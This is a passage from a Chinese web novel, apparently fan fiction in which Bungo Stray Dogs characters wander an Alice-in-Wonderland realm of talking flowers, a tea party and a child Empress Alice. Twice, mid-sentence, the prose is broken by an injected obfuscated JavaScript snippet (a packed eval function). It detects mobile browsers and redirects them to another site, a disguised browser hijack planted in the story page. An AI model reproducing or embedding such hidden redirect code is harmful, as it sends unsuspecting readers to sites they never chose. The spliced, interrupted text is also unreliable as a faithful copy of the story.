坂口安吾蹲下身子,他第一次和花说话,所以稍微有点紧张:“你们还知道什么有关这个地方的事吗?我的意思是,任何消息都行。” “我现在只是一朵花。” 雏菊似乎很奇怪:“你能指望花知道什么?” “你看上去不太聪明。” 狗尾巴草发出附和的声音:“没我聪明。” 坂口安吾:“……” 太宰治在旁边“噗”地笑了声。 “是没有我们聪明。”另一朵雏菊煞有其事地纠正了狗尾巴草说的话。 “不,我觉得我比你们聪明一点。”狗尾巴草很是得意地回答。 “可我们都是一个人!”尖尖细细的声音从苔藓身上冒出来,“你不可能比我们聪明!” “可能!”“不可能!”“真的吗?可我觉得我比你们其他人都聪明。”“那我怎么觉得你比我们都要笨一点?” 植物们再次吵成了一团。说来也很奇怪,只有这一片区域的植物才会说话,和周围安静不语的其他事物形成了鲜明的对比。 这种争吵很容易让误入其中的人手足无措。但太宰治不在此列,他直接用手把吵得最厉害的植物分开了,好奇地问:“你们说你们其实是一个人?” 争吵声不得不停止了。 “是的,一个。”花说。 “是的,人类。”叶说。 “那你们是怎么变成这样的?” 坂口安吾也不管这些植物的嘲笑了,有些困惑地问道:“你们是死了吗?” “不,不是死。这里不存在死亡。至于具体的原因,那就说来话长了。”一朵蘑菇长长地叹了口气,“事情还得从我们在红心王后的花园玩槌球的时候说起。” “红心王后?” 太宰治敏锐地察觉到了不同:“不是爱丽丝女皇?” “别打断我——而且我从来没听说过爱丽丝女皇。仙境里怎么可能存在这么奇怪的东西?” 蘑菇不太高兴地说:“总而言之,我们当时在红心女王的花园玩槌球。但当时的球少了几个。肯定是因为它们肚子饿了……” 织田作之助认真地点了点头,就像这句话毫无问题一样。 于是蘑菇继续往下讲:“于是我们没有抢到球,红心王后就想了个方法,把我们的脑袋砍下去当槌球……” “我不知道该说什么。” 坂口安吾扯动了一下嘴角:“我们姑且把这种情况当成是正常的好了。” “这当然很正常。”蘑菇严肃地说,“但糟糕的地方在后面:我们的脑袋被打得太远,远远地飞出了球场,飞出了花园,最后打进了土里,谁都没能找到。” “这一定用了很大的力气。” 织田作之助想了想:“脑袋很少飞那么高。” 蘑菇很赞同他的话。 “当时的火烈鸟确实很生气。”它说。 “然后呢?”织田作之助好奇地问。 “这是不是有什么对话跳过去了?” 太宰治满脸迷茫地开口:“所以这件事里为什么会突然出现火烈鸟——等等,织田作你真的听懂了吗?” “于是我们就这么被埋进土里,然后被逐渐遗忘了。再往后就是我们重新从土里长出来,事情就是这样。” 蘑菇说,然后用看不太聪明的人的眼神望了眼太宰治:“这里面难道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15304056|164449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有什么需要补充的地方吗?” “需要补充的地方可太多了。” 坂口安吾皱着眉,他努力保持严肃的状态:“你的意思是,你的头掉到了土里,于是这片土里长出来的花就是你?这就是你为什么说这里不存在死亡?” “我当然不是这朵花,你该不会以为植物会说话吧?” 雏菊气乎乎地说:“我们不是植物。我们只是被植物吸收的营养。营——养。这个词是这么说的吗?” 它问别的自己。而其他的声音都迷迷糊糊地回答不清楚:这个单词对它们来说太拗口了。 “你们的头在这里。” 太宰治大惑不解地问:“那原来的身体呢?” “肯定得了槌球冠军。”狗尾巴草说,“你看我们飞得有多远!肯定是冠军。” 其余的植物这次觉得它说得很对,再次叽叽喳喳地讨论起槌球这个游戏有多好玩,冠军又多么了不起。 “冠军有黄油蛋糕!”苔藓细声细气地说。 “我觉得蝴蝶更好。”马蹄莲回答。 蕨类在它们身边自顾自地唱起了歌: “‘你愿意到我的房间试试吗? 美丽的小姐。’ 捕蝇草对蝴蝶说。 ‘这里甜蜜的泉水闪着光, 让人们不由露出微笑。 看看这些柱子有多高, 多大的空间可以躺!’” 现在的它们看上去完全没法正常交流。于是三个人只好走远,来到植物们、或者说是植物的营养们所指出的大路上。 “□□?哪怕是身躯已经被分解、被拆分、被消化,在曾经组成自己的每个部分中也依旧保留着意识?” 太宰治毫不客气地评判道:“这种活下去的方式未免也太恶心了。我都不知道这是在侮辱死亡还是在侮辱活着。恶,总之我绝对绝对不要死在这里!” “总感觉勒托先生听到这话会很欣慰。” 坂口安吾吐槽道,然后突然想起了一件非常重要的事情:“对了,他们是怎么能听懂我们说的话的?” 巴别鱼只能让自己听懂别人说的话,并不能保证自己的语言能让别人听懂。那他们和这些植物自然而然的交流就很有问题了。 “可能是因为这里默认大家的语言都是互通的吧,反正童话里好像都是这么讲的。” 太宰治碰了碰自己的耳朵,有些不确定地说道:“不过我这里的耳机看上去还在运转的样子。因为这些植物说的内容是英语吗?” “真的吗?这个东西是需要有发信装置才可以运行的吧?”坂口安吾愣了一下,“也就是说发信装置也在这里?” 这种东西就有点超出这三个都没有上过高中的未成年理解范围了。三个人看了看彼此,谁都没有想到答案。 …… “陛下,您觉得我们这里怎么样?” 一张脸猛地凑过来,朝四面八方咕噜咕噜乱转的神经质眼睛盯着面前的人类:“您对此满意吗?咖啡你喜欢吗?” 正在敲字的费奥多尔·米哈伊洛维奇·陀思妥耶夫斯基先生缓缓地合上自己的掌上电脑,看了眼自己面前的空杯子。 “你们这里没有咖啡。”他说。 “是的!陛下!黑尔或者三月兔承认这里连一星半点的咖啡都找不到。” 那个看上去像是一只大兔子的家伙这么说。然后它抽搐般地摇晃起自己的脑袋,长长的兔子耳朵甩来甩去。 “那你们有什么?”费奥多尔问。 “我们这里有什么?”大兔子问。 被问的是个戴着帽子的家伙,他的头发乱糟糟地插着一大堆的秸秆,正在狼吞虎咽地吃一块面包,眼睛饱含热泪。在听到黑尔的话后,他赶紧打了个嗝。 “无物。”他说。 “很好。”费奥多尔说,“一杯‘无物’。” “听见没,哈塔。陛下要一杯无物。”黑尔跳过去,对戴帽子的家伙说道。 “叫我疯帽子。” 哈塔很是忧郁地说,接着狼吞虎咽地吃完自己的面包,从茶壶里倒出一杯很难形容其性质的东西——或者说什么都没倒。 “这份无物的质量不怎么好。” 兔子伸长脖子:“疯帽子,你真应该好好地看看你的表了。” “叫我哈塔。” 疯帽子说。他拿起自己的表,愁眉苦脸地又看了好几眼,用牛奶洗了好几遍。 费奥多尔没有怎么在意他们,只是低头看了眼自己的手。 他的手上戴着一双绣着玫瑰图案的白色羊皮手套,顺着往上是浅金色丝绸长袍的袖口,余光还能看到身后红色天鹅绒的拖地斗篷。 他用手指碰了碰头顶沉重感的来源。 ——是王冠。 费奥多尔没有把它取下来,只是叹气。 “如果您正在注视这里的话。” 他微微侧过头,对着虚无的空气开口:“请把这里的事转告勒托先生。我目前在参加一场茶会,暂时没法和他汇合。” “多谢。” 40.当你打游戏却缺失了队友 夏章雾正在沉思。 夏章雾正在看着面前的几朵花沉思。 夏章雾正在沉思自己为什么会被几朵过于热情的花团团围住和评头论足。 “你是什么花?”紫罗兰挑剔地看着他,“你的花瓣看上去真奇怪:发黑的棕色!我从来都没有见过这么古怪的花。” “但你的花瓣很卷。” 虎皮百合说:“这倒挺有品味的。” “但是太乱糟糟了。”雏菊们喊起来,“这看上去一点都不好!” “不好吗?”“不好!”“我喜欢!”“他为什么会走来走去!”“你为什么总是问为什么!”“他就像那朵长刺的花!” 花朵们吵架的样子堪比一整个幼儿园爆发了未成年大战,夏章雾被它们吵得头疼:本能告诉他这些花朵肯定知道些信息,而他除了这些花也找不到第二个可以说话的生物。 至于画外音?好吧,夏章雾从来都不会把它当成可以正常交流的生物。 但花们太闹腾了。它们用见见细细的小嗓子说的话,夏章雾听都听不清。 “礼貌。”画外音在旁边指手画脚的,充分展现了其不可以正常交流的特质,“对待这些小女士需要礼貌。要尊重一点哦。” “我想问你们一些问题。” 于是夏章雾咳嗽了一声,勉为其难地保持着礼貌,对这些花朵们说。 “你怎么总是提出问题?” 玫瑰的语气非常严厉:“你怎么都不自己思考一下?” 画外音一下笑了起来。 “也许他根本不会思考。”之前一直沉默不语的鸢尾语气尖刻地说,“也许就是因为他们的脑袋都是空空的,所以才能走来走去。就像大脑空空的蒲公英。” 这话是很有道理的。大多数的花朵们都很赞同这句话,紧接着它们又讨论起了这些能够走来走去的“花朵”脑袋到底有多不清不楚,按照它们的说法就是“简直呆极了”。 “没错没错,他就是个大呆头鹅!” 画外音在旁边火上浇油地附和着,还时不时就倒出点夏章雾的黑历史,看上去完全就是这些吵吵嚷嚷的植物的一员:“你能想象到,一个多月过去了,他连一个人名都没记清楚!” 夏章雾:“……” 记不清楚某个俄罗斯人的名字怎么你了!这个名字本来就很难记啊! “你们全都给我——闭嘴!” 虎皮百合安慰着正在哽哽咽咽的蒲公英,不太高兴地对它们喊。但效果甚微,好在夏章雾有自己的方案。 “如果你们不打算和我好好说话的话。” 他蹲下身,和颜悦色地说:“我就把你们全部都拔出来。” “哟。”画外音笑嘻嘻地说,“真坏。” 姹紫嫣红的花朵们尖叫起来。它们当中有不少一下变得脸色惨白——真正意义上的惨白,夏章雾看着这些变白的花朵,对自己的威胁效果感到十分满意。 “你们知道是哪儿吗?”他问。 花朵们面面相觑。 “花园?我猜。”玫瑰怯生生地说。 “很好,我就知道问你们这个没用。” 夏章雾无奈地叹了口气,转而开始描述起费奥多尔的样子:“我还是换个问题吧。你们在这里见过别的人……不,别的会移动的花吗?他的花瓣是黑色的,没我那么卷。” “没有。”虎皮百合很是端庄地说,“除了那朵头上长着刺的花,很少有会其他移动的花到我们这里来。” 夏章雾琢磨了一下头上长刺是什么意思,然后很快就意识到它指的是王冠——或者说国际象棋里“后”的模样。 “那是什么样的花?”他问。 “是金色的花!”“是花瓣弯弯的花!”“没有你的花瓣那么弯!”“而且也乱糟糟的!”“但是花瓣比你长!”“但比你矮上一大截!”“因为它已经枯萎了,真可怜!” 雏菊们你一言我一语地说,不过这次它们的发言明显有条理了很多。虎皮百合也没有像之前那样生气。 “她每天都会来这里。” 虎皮百合说:“如果你想要看看她,可以在这里四处逛逛。” 夏章雾若有所思地点点头,在心里翻译了一下这些花的话:有一个金色长卷发的女孩每天来这里,她的头顶戴着一顶王冠。 如果他没有记错,爱丽丝·利德尔的头发就是金色的。 他站起身,和那些被他吓得在草丛里面瑟缩成一团的花儿告别,随便找了个地方坐下。 夏章雾打算碰碰运气——说不定今天就能看到那位很有可能就是爱丽丝的女孩,至于怎么打发这段有些无聊的等待时间里…… 先看看读者怎么说吧。 熟练地拿出笔记本,夏某人开始看上面的评论——这次读者们倒是提到了很多非常有用的内容,有不少正是他目前急需的。 「愿我注视深渊: 费佳说他正在参加茶会,没办法和你汇合,账务!无赖派三人组正在和一片营养聊天。」 「桉莉斯: 致账务:未成年组已通过兔子洞进入,降落地点为一大片植物群落,似乎与红心女皇打球所在地相近。费德亚业已登基,正在与疯帽子和三月兔享用空气咖啡……」 「七: 小夏!!!费佳穿国王服啦啦啦啦啦啦!他在参加一场宴会?下午茶?总之,没有办法和你会和啦!下午茶中还有疯帽子!可能是爱丽丝参加的那个……」 「玧末: 好的,那么这里依然是延迟播报:三小只跳下了兔子洞(虽然其实很大)在降落的几个小时里从墙壁上的壁龛拿了拼图,拼了几个小时并从中拿出……」 “我之所以从来都没有担心过他们几个的情况,就是因为知道你们迟早要告诉我他们那里的事情的,谢啦。” 夏章雾看着上面的内容,很是骄傲地对作者如是说:“哼哼,这就是我和读者的羁绊啊!” “你说出这句云淡风轻的话之前能不能不要突然松口气?这样可信度还高一点。” 作者在旁边吐槽道:“而且这里不应该还有和我的羁绊吗?如果我没有写这方面的内容,读者也没办法给你打小报告啊!” “我们的羁绊早就没了。” 夏章雾毫不犹豫地说:“自从上次你和我说这本书不是无敌流开始。为了你下本书的主角着想,我建议你速速转战无敌流赛道。” “错误的。” 作者毫不犹豫地回答:“你还算好的,下本书我可是打算写升级流的。” 夏章雾沉默片刻,缓缓开口:“……我突然有些好奇,你之前写的那些书是什么风格。” 作者也沉默片刻。 “日常流?”它说,“就挺日常的。” “可恶啊!那你快把我塞到那些日常流世界观里!这种人类动不动就要毁灭的世界我真的要受够了!你还我珍贵可爱的日常——” “喂喂喂,你冷静一点啊!大不了下个文学负面体让你去度假,我们先把这次的任务给解决掉行不行!” “真的?” “保真!你看我什么时候说过谎!” 确实,某位作者虽然很喜欢胡言乱语,但目前为止还真没有说过什么谎话。 夏章雾瞬间就平静了下来,怀揣着“干完这一票就去度假”的轻松心情继续看读者评论。 大家基本都在讨论费奥多尔和太宰治他们那里发生的事情:关于那里的茶会,那里的疯帽子和三月兔,还有变成花肥成分的人。 “其实我觉得那些也不一定是人。” 夏章雾摸摸下巴,回想着读者之前讲的《爱丽丝梦游仙境》的内容,举一反三:“也有可能是扑克牌。” 「巫渺: 不死的仙境中,被分解成基础的营养成分仍留有自己的意识,微妙地,有些精神污染。」 “这一点我也很赞同。” 夏章雾叹了口气,戳了戳评论:“在从你们这里得到这条消息后,我现在都感觉自己呼吸的这口空气里至少有七八个人的意识……” 一个生物死亡之后依旧活着。 一个生物腐烂分解之后依旧活着。 一个生物在身体氧化成水后依旧活着。 它活着,以无机物和能量的状态存在。它作为空气的一部分、作为水的一部分、作为土壤的一部分,作为构成别的生物的一部分存在。 它感受自己的腐烂、发酵和分解,感受着自己被作为一个元素与其他元素重新组合。就算过上几万年,它的思维仍在运转,并将永远运转下去:因它不得死去。 “美丽而又残酷。” 夏章雾耸耸肩:“真不愧是冥府。” 不过这也很好——很好地让那几个孩子拉满了对这个表面一片祥和的世界的警惕心。他本来还以为他们来到这里后就要去玩了呢,现在看来倒是颇为令人欣慰。 翻开下一页。 后面是读者熟练的撒娇卖萌环节,其中混入大量对作者的嘘寒问暖——夏章雾思考了片刻,决定不问对方这是怎么回事。他很了解作者,知道自己这么一问对方肯定要嘚瑟。 今天的暮川夜还是持之以恒地想要得到一个“酵母”的称呼。爱丽丝还在讲笑话。liar和魔王在一本正经地分析。 夏章雾扫视一圈,随后敷衍地打了个招呼:“好的,神仙酵母。我们这里可以没有面包。” 然后他开始看liar和魔王的评论。 他们两个都很一致地提到了费奥多尔似乎打破了次元壁的话题。好吧,对于读者来说,这件事确实很值得研究一番。 “但你怎么兴致缺缺的?”作者好奇地问。 “因为我们以前似乎疑似认识嘛。” 夏章雾撑着下巴,随口说着:“认识的话,我说不定就把你的事情读者的事情,用一种委婉的语调告诉他了——话说回来,在飞机上时,我不就介绍过你了吗?” “哦,那时候你还说我是上帝来着。” 作者也想起来了,笑嘻嘻地说。 “那时候真是给你脸上贴金了。” 夏章雾没好气地回答:“不过你要是上帝,那评论区算什么?神国?” “评论区是神国,那读者就是天使,再加上我这个造物主和你这个先知。等等,这个配置还挺齐全啊!” 作者对这个比喻突然兴致勃□□来,咳嗽了两声,用非常浮夸的戏剧腔吟唱道:“行走于地上的先知啊,你的言语是神的言语,你……” “鸡皮疙瘩要起来了,谢谢。” 夏章雾幽幽地打断道。 ——这个作者,是从来都不会感到尴尬吗? 他低下头,继续看魔王的评论,然后…… “问我卡罗尔是什么样的人?” 他想了几秒,尽力概括:“挺容易脸红,说话结结巴巴,特别萝莉控——话说我和他也不怎么熟,毕竟他连说一句完整的话都很艰难。我个人是建议他用手语进行交流……哦,对了。他是个很喜欢玩游戏的家伙。我之前在飞机上玩的那个游戏就是他发明的。” 说到这里,夏章雾突然想起来了什么,随后用相当赞赏的语气说道: “还有一点:卡罗尔是白毛。” 大家都知道这个的含金量。 伟大,无需多言! 他感慨两下,继续往下面看liar的评论。 ——然后彻底绷不住了。 “什么叫太宰治偷走了我的钱包?” “什么叫我运气很差?” “什么叫我忘了……哦不 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“按照读者的说法,原著的仙境其实就是爱丽丝的梦。考虑到进入这里的方式与原著爱丽丝进入仙境使用的方法相同,或许破坏这个世界的关键在于将梦唤醒。” 夏章雾看向远方:“但问题在于,如果这里依托于梦境而存在,那做梦的人是谁?” 淡蓝色的天空中回荡着悦耳的音乐声。一只芳香扑鼻的黄油面包蝶从旁边飞过,火葡萄干蜻蜓悠闲地在圣诞礼盒里筑巢。 这一切看上去就像是个小女孩的幻想,充斥着奇异、天真和活泼可爱的气息。 如果这个世界真的是梦,那最有可能做梦的人当然是爱丽丝·利德尔。 但她在半个月前就已经死了。 ——死人会做梦吗? 这是个十分值得探究的问题。因为夏章雾目前还没有死过。不过就算如此,他也不觉得答案就会这么简单。 “很朴素的道理。”他对作者说,“如果事情这么简单,那么作为我新手任务的就是它了。” “嗯,你还是蛮懂我的。”作者十分自豪地承认了自己在这方面一贯的不做人,“第二点呢?” “这个啊……” 夏章雾把书合拢,夹在腋下:“虽然已经明白了卡罗尔失踪的真相和那些人昏迷的原因,但目前文学负面体引发的所有现象中,还有很多疑点没有查明。” 比如说死者复活的原因,比如人们在昏厥前为什么会控制不住地笑和舞蹈,比如读者们也发现了的时间错乱,比如……那只很明显对应了伊迪斯的小鹰。 卡罗尔能够听见彼方世界的笑声,是因为他在使用了名为“漫游奇境”的异能。 从人间失格事件中,夏章雾就知道了:因为有着相同的三次元原型,文学负面体、名著与异能之间存在着复杂的联系。 考虑到这一点,卡罗尔在使用异能后能够更清晰地感受到文学负面体所制造的彼方世界,这很合理。但不合理的地方在于…… 夏章雾看了眼自己。 他为什么能感受到明显属于“另一个世界”的东西?他为什么能短暂地看到那只鹰? 就算是卡罗尔,也是在使用异能后才发现了剑桥中的异常。他可不认为自己在这方面还能比对方更特殊。 “我有种不好的预感:或许和玧末很久之前所想的一样——话说回来,她为什么每次都能这么精准地猜中东西?你们那个世界难道也生产预言家?” 夏章雾嘟哝了一声,这么问作者。 “要是有预言家。” 作者毫不犹豫地说:“那我就去问问我接下来要写什么,然后直接我抄未来的我自己。” “喂喂喂,好没上进心啊。” 夏章雾鄙夷道:“有预言家这种存在你怎么不想着买股票?等赚大钱后,你就不用当这种扑街三流小说家了,多出来的时间想干什么就去干什么。” “那你知道吗?”作者十分真诚地说,“就在前两天,我们这儿的股市全面崩盘了。估计这几天又要有好多打算跳的。” ……这是真的挺惨。 夏章雾咂吧两下嘴,再次感慨于自己从来不研究金融的行为到底让自己错过了多少破产的机会,随后转头看向不远处,挑了下眉:“还有这位爱丽丝小姐。” “您已经围观够了吗?” “诶?” 惊讶的声音从灌木丛中传来。 躲在那里的人像被吓到的兔子一样,一下就跳了起来。但好像又很快意识到自己这种一惊一乍的行为不太妥当,立刻捂住了嘴,尽可能像个淑女一样地从灌木后面走出。 那是个七八岁大的小姑娘。 她穿着很漂亮的蓝白色裙子,金灿灿的卷发一直垂落到腰间,湛蓝的大眼睛盯着夏章雾,好奇地眨巴着。在她的头顶上,一顶金色的王冠在发光。 就是那个王冠有点奇怪,像是瓦楞纸做的小学手工课产物。夏章雾忍不住多看了几眼。 “你怎么知道我的名字?” 她用还没有经过变声期的脆生生嗓音问。 当然是猜的,反正猜错了又不用赔钱。 夏章雾在心里暗暗腹诽了一句,但表面还是毕恭毕敬地向面前的女孩鞠了一躬,用相当公式化的语气说: “女皇陛下的名字在仙境中无人不晓。” 爱丽丝有些困惑地歪了下脑袋。 “我在问你问题。”她瞧瞧周围,“你为什么在说‘无人’的事情?他难道在这里吗?不过他确实有可能不知道我的名字。” 但她也没有太在意,只是稍稍感到疑惑后就把它丢到脑袋后面了。 “你也是来仙境玩的人吧!” 她很是礼貌地做了个屈膝礼,然后跑过来拽过夏章雾的手,很是兴奋地说道:“跟我走,这里有好多好多有意思的东西呢!” 41.菜!就多练! 空旷的原野上,夏章雾震撼中混合着强烈迷茫的声音远远地传来,混合在弥漫着花香、糖果香味与音乐的空气里。 “等等,我没说自己要玩这个游戏——我到这里来也不是要玩游戏的!” “真奇怪,你都到这里来了,怎么可能不是为了玩游戏?而且你已经在游戏里了呀。” 爱丽丝理直气壮地说,声音清脆得像是从八音盒里面冒出来的,就算是跑得这么快,她都一点也没有气喘的样子。 反倒是被她拽着一路跑的夏章雾显得非常狼狈。他看着周围逐渐后退的景色,完全没法想象为什么一个小女孩能跑那么快。 “这……合……理……吗?” 他有气无力地说。 “这里都有会说话的花了,你就让让她吧。” 画外音笑嘻嘻地说,仿佛觉得这件事很有意思似的:“加油啊,跑路都跑不过人家小女孩的主角先生!” 跑不过人家小女孩的主角先生继续狼狈不堪地被拽着跑。在前面奔跑的爱丽丝小姐显然是觉得正在发生的事情很合理,因此甚至都没有停下来的意思。 小姑娘满脑子都是想其他的事,以至于完全没有办法理解身边大人的痛苦。 “你想不想当皇后?” 她很热情地说:“当皇后很好的,我一直想有皇后陪我去参加宴会和吃点心。” 这句话完全是真心的,但是夏章雾差点被呛死。 “咳咳咳——不当!” 他果断地回答,有一种自己正在身处于什么鬼故事的既视感。 但好在夏先生很快就想起来了一件事:国际象棋里好像确实有这么一个规则,“兵”走到棋盘末端时可以变成“后”。 按照读者的说法,似乎在三次元的原著里,爱丽丝也是通过这种方法变成了王后。也许面前的这位女皇也是通过这种方式登基的。 但……他是男的啊! 男的是绝对不可以当王后的,毕竟这个世界奇怪得要命,万一要是真变性了怎么办?退一万步来讲,就算他不变性,遇到自己这一方的国王怎么办? 等等,国王。 意识到自己担任的身份是“兵”的夏章雾突然陷入了沉默。 他想到了某位知名不具的俄罗斯人现在的情况,想到了自己现在就身处于棋盘当中,然后想到了很多很多事情。 ——某位作者想给自家主角按头谈恋爱的险恶用心似乎已经昭然若揭。 “毕竟国际象棋的规则就是这样的嘛。菜就多练,玩不起就别玩!” 画外音咳嗽了一声,声音坦坦荡荡:“不服就问规则设立者为什么兵不能升级成国王。或者你找卡罗尔聊聊,问问他为什么闲着没事要往故事里加国际象棋。” 话里话外就是一个意思:不关它事。 呵、呵。 夏章雾虚起眼睛,再次有了想要给作者竖中指的冲动,但实际上他现在已经累得连手臂都快要抬不起来了。 “那你是想当国王吗?但这个不行,国王只能有一个的。” 女孩似乎在很认真地帮夏章雾考虑着未来的打算,不过这种事情对于她来说还是太复杂了,只是想了一会儿脑袋就嗡嗡的,于是只好放弃。 “但不管你想要变成什么,总之只需要往前跑就行了!” 她说:“对啦,而且你也只能往前面跑。谁制定的呢?爱丽丝也不知道,但游戏就是得有规则才能玩。看到这个沟了吗?我们跳过去!” 爱丽丝女皇拉着夏章雾的手,一下子跳过了面前的河流。 河流的尽头是花海。他们继续向前跑,跑过正在采蜜的大象,木马蝇和黄油面包蝶。 “所以我们为什么要跑那么快?” 夏章雾有些生无可恋地看着一只在淡奶茶喷泉里喝水的黄油面包蝶,用所剩无多的力气朝对方喊道。 “乌鸦为什么不像写字台?” 爱丽丝突然没头没脑地说。 夏章雾没听懂,他甚至觉得自己没听清。 “什么?”他问。 “因为我们要移动。如果只是普通地拼命奔跑的话,我们只会停留在原地的。” 爱丽丝女皇陛下突然回过神,装作大人那样一本正经地说:“这里就是这样!外面的世界太慢悠悠了,和这里可完全不一样。” 夏章雾不能太理解这句话。 他尝试据理力争:“可是我之前走的时候似乎也没出现什么问题。我们那里也根本不会出现这种情况……” “那你们的世界可真单调。” 爱丽丝惊讶地说,就像是她从来没在那个世界生活过似的:“而且你不知道过去式和现在式不一样吗?ran和running怎么可能是一回事?” 精通多国语言的夏教授,现在正在冥府里被小姑娘教英语的基础语法。 “你要知道:时间会让事情变化,事情也会让时间发生变化。” 爱丽丝努力地在可爱的脸上摆出煞有其事的严肃表情,老气横秋地教导道:“现在你要走出第一步:兵的第一步是两个格子。所以我们要跨过第二条河流才能停下。” 夏章雾疑心前后的这几句话并不存在什么逻辑上的关联。但他一时半会儿也没想出什么可以反驳的话,于是也只能硬着头皮跑下去。 “而且……嗯,用英语不会说的词汇就用法语说。走路的时候要脚尖朝外!” 小姑娘完全进入了教导别人的气派状态,她格外认真地模仿着大人的样子:“还有,你要说谢谢女皇陛下的指导!我记得还要屈膝礼——好像现在没有办法做屈膝礼?那就算了吧。” 嗯,“英语不会说的词汇就用法语”应该指的是兵的基础规则“吃过路兵”在英语里没有准确的描述。 后面那个脚尖往外面撇……是指兵棋规则的直走斜吃吗?说起来,如果这是一局国际象棋游戏,那么被吃掉的“棋子”会发生什么? 心里有些困惑地想着,但这些天狠狠补习了国际象棋相关知识的夏章雾还是反应很快地回答道:“谢谢女皇陛下的指导?” “太敷衍啦!不过也没事。” 爱丽丝说,但又笑了起来,快活地晃了晃自己金色的头发。 “你的名字是……”她雀跃地问道。 “勒托。”夏章雾说,“叫我勒托就行。” “好的,勒托先生!” 女皇陛下大声地、骄傲地宣布:“你在跳过最后一条河流前一定要来参加我的宴会!那里有好多好多有趣的游戏,而且最终的胜利者还能得到女皇的一个承诺。我邀请你来参加!” 承诺? 夏章雾愣了一下,但很快就反应了过来。 “什么承诺都能够做到?包括离开这里?” 他问。 他想到了那个疑似从这个世界离开的死而复生者。他是不是就是赢了爱丽丝,最后才成功地离开了这个世界? “当然啦,毕竟我是女皇嘛。不过你也想要走吗?你们都这么想离开这儿,是不是因为外面世界好玩的游戏更多?” 还没满十岁的女皇陛下眨眨眼睛,语气中满是纯粹的好奇:“以前也有人想走。而且他昨天还真的赢了我,只不过赢了后他只是傻乎乎地在大厅里和烤鸭跳舞,什么都不说。” 夏章雾的眼皮跳了跳。 且不说为什么是在昨天赢的——和烤鸭跳舞是什么玩意?能干出这种事情的人精神状态肯定已经不正常了吧? “本来我还因为不知道他想要什么,感觉很苦恼呢。不过后来有人提醒我,他的想法很久之前就和我说了,就是想要离开这里。” 爱丽丝女皇用失落的语气说:“虽然好遗憾,但我还是让他出去啦!勒托先生的愿望也是想要出去吗?” “当然不。” 夏章雾回答得很果断——他可不想感受想死都死不掉的感觉,或者说没有不老的永生对人类而言都是无穷无尽的折磨:“但他出去了,还能回到这里来吗?” “嗯。” 女皇陛下想了想,用非常乐观的语气说道:“我之前没有想过。应该可以吧?” 夏章雾沉默了片刻。 果然,就算爱丽丝是这里的女皇,他也不能指望一个未满十岁的孩子能知道那么多。她根本不知道这些力量依靠什么逻辑运转,需要付出什么代价。 救世主先生默默地在心里划掉了绝大部分的提问选项。但好在还是有别的东西可以问的。 “你知道刘易斯·卡罗尔这个名字吗?” 他问道:“还有太宰治,坂口安吾,织田作之助和……” “费奥多尔。”画外音友善地提醒道。 “还有费奥多尔。” 夏章雾顺利地报出了最后一个名字:“一个黑色头发红眼睛的。” “那是什么?”然而爱丽丝只是用天真无邪的语气说,“感觉像是奥利奥和费列罗的合体,听起来真的很好吃。” “……”夏章雾想要说的话全都被堵在了喉咙里,随后坚定地点点头,“没错,就是甜品。” 竟然和他想的一样!这就是知音吧? “这算什么知音啊!” 画外音吐槽道:“你快为自己沦落到和未成年一个思维水平感到惭愧啊!” 然而夏章雾并不感到惭愧。他只觉得坦坦荡荡——大家都是这么想的,为什么他要惭愧? “真的是巧克力!好啦。” 小姑娘也不怎么在意那几个对她来说怪里怪气的名字,而是看着前方喊:“我们马上就要跨过第二条河流了!我们马上就要分别了!你还有什么话要说吗?” 想要说的内容当然很多,但估计绝大多数问题面前的女皇都只能用“我不知道”来回答。 所以还是问问她之前提到的东西吧。 “去参加你的宴会时,在哪个游戏里赢了你才可以提要求?”夏章雾问。 “每个游戏都可以。” 爱丽丝歪了歪头,一本正经地举起手,开始扳着手指计算:“很久之前流行过的火烈鸟槌球运动和龙虾方正舞,现在正在流行的摔跟斗,我都超级擅长。就是扑克牌打架的游戏不太行,因为现在都找不到扑克牌啦!” 夏章雾扯了扯嘴角,将前面的那几个直接略过——这玩意看上去就不像是正常人玩的。 而且他疑心那个火烈鸟槌球就是太宰治他们遇到的那个让人掉脑袋的游戏。而目前他觉得自己的脑袋很好,并没有被摘下来的必要。 所以他直接问了最后一个,看上去也是胜利希望最大的那个:“扑克牌打架是指什么?” 在现实世界里,这种小孩子式的稚气形容只会让人想到普通的扑克牌游戏。但在这里,见识过这里的人多在乎“字面含义”的夏章雾觉得,爱丽丝大概说的是切切实实的游戏现状。 “就是打架呀。当时的场面好热闹哦,整个仙境都因为扑克牌的战争乱糟糟的。可惜它们最后都变成纸屑啦。” 爱丽丝用天真无邪的语气回答:“不过也不用担心,它们是不会死掉的。现在那些扑克说不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15329910|164449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定正在花里面吵架呢,或者在采蜜的大象肚子里讲话?” 说到这里,这位女皇陛下也不由自主地认真思考起来:“不过现在到底还能不能叫他们扑克牌呢……嗯,如果它们看上去不像纸牌,也不像纸牌那样轻飘飘的,那它们就不是纸牌——” 她睁大眼睛。 “所以它们没法继续玩纸牌游戏了,听上去真糟糕!”她说。 说出这句话的时候,他们已经来到了河边。夏章雾都有点担心她忘记起跳,直接栽倒在河流里面。不过很快他就来不及担心了。 “等等,我想起来啦。” 爱丽丝突然喊道:“是勒托先生之前说的那个黑头发红眼睛的人,我见过!” “什么?”夏章雾愣了一下,这次轮到他差点栽到水里面了。 